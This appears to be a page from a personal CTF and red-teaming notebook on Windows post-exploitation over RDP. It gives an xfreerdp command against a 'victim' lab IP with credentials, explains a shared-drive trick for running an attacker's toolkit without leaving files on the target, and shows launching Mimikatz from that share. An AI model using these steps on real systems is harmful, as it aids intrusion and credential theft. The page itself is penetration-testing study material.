> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/red-teaming/post-exploitation/windows-post-exploitation/rdp.md).

# RDP

Use **xfreerdp**:

```bash
xfreerdp /v:10.200.85.150 /u:ret2basic /p:'password1337' +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share
```

* `/v`
  * Victim IP
* `/u`
  * Username
* `/p`
  * Password
* `/dynamic-resolution`
  * Allows us to resize the window, adjusting the resolution of the target in the process
* `/size:WIDTHxHEIGHT`
  * Sets a specific size for targets that don't resize automatically with `/dynamic-resolution`
* `+clipboard`
  * Enables clipboard support
* `/drive:LOCAL_DIRECTORY,SHARE_NAME`
  * Creates a shared drive between the attacking machine and the target. This switch is insanely useful as it allows us to very easily use our toolkit on the remote target, and save any outputs back directly to our own hard drive. In essence, this means that we never actually have to create any files on the target. For example, to share the current directory in a share called `share`, you could use: `/drive:.,share`, with the period (`.`) referring to the current directory

When creating a shared drive, this can be accessed either from the command line as `\\tsclient\`, or through File Explorer under "This PC":

![shared drive](https://3988450783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVjG_njKgBtvmnKaJh%2Fuploads%2F4pfbYA4NSoZ7BUrC50wu%2Fimage.png?alt=media\&token=c9404efa-9e8a-456c-8168-15ffbaa1af3d)

For example, Mimikatz can be accessed with the following command:

```powershell
\\tsclient\share\mimikatz\x64\mimikatz.exe
```
